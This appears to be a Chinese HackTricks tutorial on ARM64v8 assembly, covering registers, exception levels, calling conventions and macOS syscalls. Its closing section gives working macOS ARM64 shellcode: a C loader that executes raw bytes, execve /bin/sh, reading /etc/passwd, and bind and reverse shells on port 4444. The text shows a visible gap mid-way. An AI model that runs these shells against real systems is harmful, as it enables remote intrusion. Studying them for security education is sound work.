28 KiB
ARM64v8基础汇编简介
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们的独家NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
异常级别 - EL (ARM64v8)
在ARMv8架构中,执行级别,即异常级别(ELs),定义了执行环境的权限级别和能力。有四个异常级别,从EL0到EL3,每个级别都有不同的用途:
- EL0 - 用户模式:
- 这是权限最低的级别,用于执行常规应用程序代码。
- 在EL0运行的应用程序彼此隔离,与系统软件隔离,增强了安全性和稳定性。
- EL1 - 操作系统内核模式:
- 大多数操作系统内核在此级别运行。
- EL1比EL0拥有更多权限,并且可以访问系统资源,但有一些限制以确保系统完整性。
- EL2 - 虚拟机监控器模式:
- 此级别用于虚拟化。在EL2运行的虚拟机监控器可以管理多个操作系统(每个都在自己的EL1中),这些操作系统在同一物理硬件上运行。
- EL2提供了隔离和控制虚拟化环境的功能。
- EL3 - 安全监控模式:
- 这是最高权限级别,通常用于安全启动和可信执行环境。
- EL3可以管理和控制安全和非安全状态之间的访问(如安全启动、可信操作系统等)。
使用这些级别可以结构化和安全地管理系统的不同方面,从用户应用程序到最高权限的系统软件。ARMv8对权限级别的处理有助于有效隔离系统的不同组件,从而增强了系统的安全性和健壮性。
寄存器 (ARM64v8)
ARM64有31个通用寄存器,标记为x0
至x30
。每个可以存储64位(8字节)的值。对于只需要32位值的操作,可以使用w0
至w30
的名称以32位模式访问相同的寄存器。
x0
至x7
- 这些通常用作临时寄存器和传递子程序参数。
- **
x0
**还携带函数的返回数据
x8
- 在Linux内核中,x8
用作svc
指令的系统调用号。在macOS中使用的是x16!x9
至x15
- 更多的临时寄存器,常用于局部变量。x16
和x17
- 过程内调用寄存器。临时寄存器,用于立即值。它们也用于间接函数调用和PLT(过程链接表)存根。
x16
在macOS中用作**svc
指令的系统调用号**。
x18
- 平台寄存器。它可以用作通用寄存器,但在某些平台上,此寄存器保留用于特定于平台的用途:在Windows中指向当前线程环境块的指针,或在linux内核中指向当前执行任务结构的指针。x19
至x28
- 这些是被调用者保存的寄存器。函数必须为其调用者保留这些寄存器的值,因此它们存储在栈中,并在返回调用者之前恢复。x29
- 帧指针,用于跟踪栈帧。当因调用函数而创建新的栈帧时,x29
寄存器会存储在栈中,新的帧指针地址(sp
地址)会存储在此寄存器中。
- 这个寄存器也可以用作通用寄存器,尽管它通常用作局部变量的参考。
x30
或lr
- 链接寄存器。当执行BL
(带链接的分支)或BLR
(带链接到寄存器的分支)指令时,它保存返回地址,通过将**pc
**值存储在此寄存器中。
- 它也可以像其他寄存器一样使用。
sp
- 栈指针,用于跟踪栈顶。
sp
值应始终至少保持四字对齐,否则可能发生对齐异常。
pc
- 程序计数器,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支来更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR),以将**pc
地址存储在lr
**(链接寄存器)中。xzr
- 零寄存器。在其32位寄存器形式中也称为**wzr
。可以用来轻松获取零值(常见操作)或使用subs
进行比较,如subs XZR, Xn, #10
,将结果存储在无处(在xzr
**中)。
Wn
寄存器是Xn
寄存器的32位版本。
SIMD和浮点寄存器
此外,还有另外32个128位长度的寄存器,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些被称为Vn寄存器,尽管它们也可以以64位、32位、16位和8位操作,然后它们被称为**Qn
、Dn
、Sn
、Hn
和Bn
**。
系统寄存器
有数百个系统寄存器,也称为特殊用途寄存器(SPRs),用于监控和控制处理器行为。
它们只能使用专用的特殊指令**mrs
和msr
**读取或设置。
当逆向工程时,常见的特殊寄存器**TPIDR_EL0
和TPIDDR_EL0
。EL0
后缀表示可以访问寄存器的最小异常级别(在这种情况下,EL0是常规程序运行的常规异常(权限)级别)。
它们通常用于存储线程局部存储内存区域的基地址**。通常第一个对EL0中运行的程序可读写,但第二个可以从EL0读取并从EL1(如内核)写入。
mrs x0, TPIDR_EL0 ; 将TPIDR_EL0读入x0
msr TPIDR_EL0, X0 ; 将x0写入TPIDR_EL0
PSTATE
PSTATE包含几个进程组件序列化到操作系统可见的**SPSR_ELx
特殊寄存器中,X是触发异常的权限**级别(这允许在异常结束时恢复进程状态)。
这些是可访问的字段:
N
、Z
、**C
和V
**条件标志:- **
N
**表示操作产生了负结果 - **
Z
**表示操作产生了零 - **
C
**表示操作产生了进位 - **
V
**表示操作产生了有符号溢出: - 两个正数相加产生负结果。
- 两个负数相加产生正结果。
- 在减法中,当从较小的正数中减去较大的负数(或相反),且结果无法在给定位大小的范围内表示时。
{% hint style="warning" %}
并非所有指令都更新这些标志。像**CMP
或TST
这样的指令会这样做,还有其他带有s后缀的指令,如ADDS
**也会这样做。
{% endhint %}
- 当前寄存器宽度(
nRW
)标志:如果标志值为0,程序恢复后将以AArch64执行状态运行。 - 当前异常级别(
EL
):在EL0中运行的常规程序将有值0 - 单步执行标志(
SS
):调试器通过在**SPSR_ELx
**中通过异常将SS标志设置为1来单步执行。程序将运行一步并发出单步异常。 - 非法异常状态标志(
IL
):当特权软件执行无效的异常级别转移时,此标志设置为1,处理器触发非法状态异常。 - **
DAIF
**标志:这些标志允许特权程序选择性地屏蔽某些外部异常。 - 如果**
A
为1,则意味着将触发异步中止**。I
配置响应外部硬件中断请求(IRQs)。F与快速中断请求(FIRs)相关。 - 栈指针选择标志(
SPS
):在EL1及以上运行的特权程序可以在使用自己的栈指针寄存器和用户模式的栈指针寄存器之间切换(例如,在SP_EL1
和EL0
之间)。通过写入**SPSel
**特殊寄存器来执行此切换。这不能从EL0完成。
调用约定 (ARM64v8)
ARM64调用约定规定,函数的前八个参数通过寄存器**x0
至x7
传递。额外的参数通过栈传递。返回值通过寄存器x0
返回,如果长度为128位,则同时通过x1
返回。x19
至x30
和sp
**寄存器必须在函数调用中保持不变。
阅读汇编中的函数时,寻找函数序言和尾声。序言通常涉及保存帧指针(x29
),设置新的帧指针,和分配栈空间。尾声通常涉及恢复保存的帧指针和从函数返回。
Swift中的调用约定
Swift有其自己的调用约定,可以在https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64找到
常见指令 (ARM64v8)
ARM64指令通常具有格式opcode dst, src1, src2
,其中**opcode
是要执行的操作**(如add
、sub
、mov
等),dst
是将存储结果的目标寄存器,src1
和src2
是源寄存器。立即数也可以代替源寄存器使用。
mov
: 移动一个值从一个寄存器到另一个。- 示例:
mov x0, x1
— 这将x1
中的值移动到x0
中。 ldr
: 加载一个值从内存到寄存器中。- 示例:
ldr x0, [x1]
— 这将x1
指向的内存位置的值加载到x0
中。 str
: 存储一个值从寄存器到内存中。- 示例:
str x0, [x1]
— 这将x0
中的值存储到x1
指向的内存位置中。 ldp
: 加载寄存器对。此指令从连续的内存位置加载两个寄存器。内存地址通常通过向另一个寄存器的值添加偏移量来形成。- 示例:
ldp x0, x1, [x2]
— 这将x0
和x1
从x2
和x2 + 8
的内存位置加载。 stp
: 存储寄存器对。此指令将两个寄存器存储到连续的内存位置。内存地址通常通过向另一个寄存器的值添加偏移量来形成。- 示例:
stp x0, x1, [x2]
— 这将x0
和x1
存储到x2
和x2 + 8
的内存位置。 add
: 加两个寄存器的值并将结果存储在寄存器中。- 语法:add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
- Xn1 -> 目标
- Xn2 -> 操作数1
- Xn3 | #imm -> 操作数2(寄存器或立即数)
- [shift #N | RRX] -> 执行移位或调用RRX
- 示例:
add x0, x1, x2
— 这将x1
和x2
中的值相加,并将
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
{% endcode %}
- 返回:
ret
(使用链接寄存器中的地址将控制权返回给调用者)
AARCH32 执行状态
Armv8-A 支持32位程序的执行。AArch32 可以在两种指令集中运行:A32
和 T32
,并且可以通过**交互操作
在它们之间切换。
特权的64位程序可以通过执行一个异常级别转移来安排执行32位程序,转移到较低特权的32位。
注意,从64位转到32位的转换伴随着异常级别的降低(例如,EL1中的64位程序触发EL0中的程序)。这是通过将SPSR_ELx
** 特殊寄存器的第4位设置为1来完成的,当AArch32
进程线程准备执行时,而SPSR_ELx
的其余部分存储**AArch32
程序的CPSR。然后,特权进程调用ERET
** 指令,使处理器转换到**AArch32
,根据CPSR进入A32或T32。**
交互操作
是使用CPSR的J和T位进行的。J=0
和 T=0
表示 A32
,J=0
和 T=1
表示 T32。这基本上是将最低位设置为1来指示指令集是T32。
这是在交互操作分支指令期间设置的,但也可以在PC设置为目标寄存器时直接用其他指令设置。例如:
另一个例子:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
寄存器
有16个32位寄存器(r0-r15)。从r0到r14它们可以用于任何操作,但是其中一些通常是保留的:
r15
:程序计数器(始终)。包含下一条指令的地址。在A32中是当前地址+8,在T32中是当前地址+4。r11
:帧指针r12
:过程内调用寄存器r13
:堆栈指针r14
:链接寄存器
此外,寄存器的值会备份在**banked registries
中。这些是存储寄存器值的地方,允许在异常处理和特权操作中进行快速上下文切换**,避免每次都需要手动保存和恢复寄存器。
这是通过将处理器状态从CPSR
保存到发生异常的处理器模式的SPSR
中来完成的。在异常返回时,**CPSR
会从SPSR
**中恢复。
CPSR - 当前程序状态寄存器
在AArch32中,CPSR的工作方式类似于AArch64中的**PSTATE
,并且在发生异常时也存储在SPSR_ELx
**中,以便稍后恢复执行:
字段分为几组:
- 应用程序状态寄存器(APSR):算术标志,可从EL0访问
- 执行状态寄存器:进程行为(由操作系统管理)。
应用程序状态寄存器(APSR)
N
、Z
、C
、**V
**标志(与AArch64中一样)Q
标志:在执行专门的饱和算术指令期间,每当发生整数饱和时,它就会被设置为1。一旦设置为**1
**,它将保持该值,直到手动设置为0。此外,没有任何指令会隐式检查其值,必须手动读取它。GE
(大于或等于)标志:在SIMD(单指令多数据)操作中使用,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。
例如,UADD8
指令并行添加四对字节(来自两个32位操作数)并将结果存储在一个32位寄存器中。然后它根据这些结果设置APSR
中的GE
标志。每个GE标志对应于一个字节加法,指示该字节对的加法是否溢出。
**SEL
**指令使用这些GE标志执行条件操作。
执行状态寄存器
- **
J
和T
位:J
应为0,如果T
**为0,则使用A32指令集,如果为1,则使用T32。 - IT块状态寄存器(
ITSTATE
):这些是10-15和25-26位。它们存储在**IT
**前缀组内指令的条件。 E
位:表示字节序。- 模式和异常屏蔽位(0-4):它们决定当前的执行状态。第5位指示程序是以32位(1)还是64位(0)运行。其他4位表示当前使用的异常模式(当发生异常并且正在处理时)。设置的数字表示在处理此异常时触发另一个异常的当前优先级。
AIF
:某些异常可以使用位**A
、I
、F
禁用。如果A
为1,意味着将触发异步中止**。I
配置为响应外部硬件中断请求(IRQs)。F与快速中断请求(FIRs)相关。
macOS
BSD系统调用
查看syscalls.master。BSD系统调用将有x16 > 0。
Mach陷阱
查看syscall_sw.c。Mach陷阱将有x16 < 0,所以你需要用负数调用前面列表中的数字:_kernelrpc_mach_vm_allocate_trap
是-10
。
你也可以在反汇编器中检查**libsystem_kernel.dylib
**,找到如何调用这些(和BSD)系统调用:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
{% hint style="success" %}
有时候检查 libsystem_kernel.dylib
中的反编译代码比检查源代码要容易,因为许多系统调用(BSD和Mach)的代码是通过脚本生成的(查看源代码中的注释),而在dylib中你可以找到正在被调用的内容。
{% endhint %}
Shellcodes
编译方法:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
提取字节:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
C代码测试shellcode
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #includeint (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### Shell
取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行了解释。
{% tabs %}
{% tab title="使用 adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{% endtab %}
{% tab title="带栈" %}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
使用 cat 读取
目标是执行 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
,因此第二个参数(x1)是一个参数数组(在内存中,这意味着一个地址栈)。
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
通过 fork 调用 sh 命令,这样主进程不会被终止
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
绑定 Shell
来自 https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s 的绑定 Shell 在 端口 4444上
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
反向 shell
来自 https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s,revshell 至 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
从零到英雄学习AWS黑客技术,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。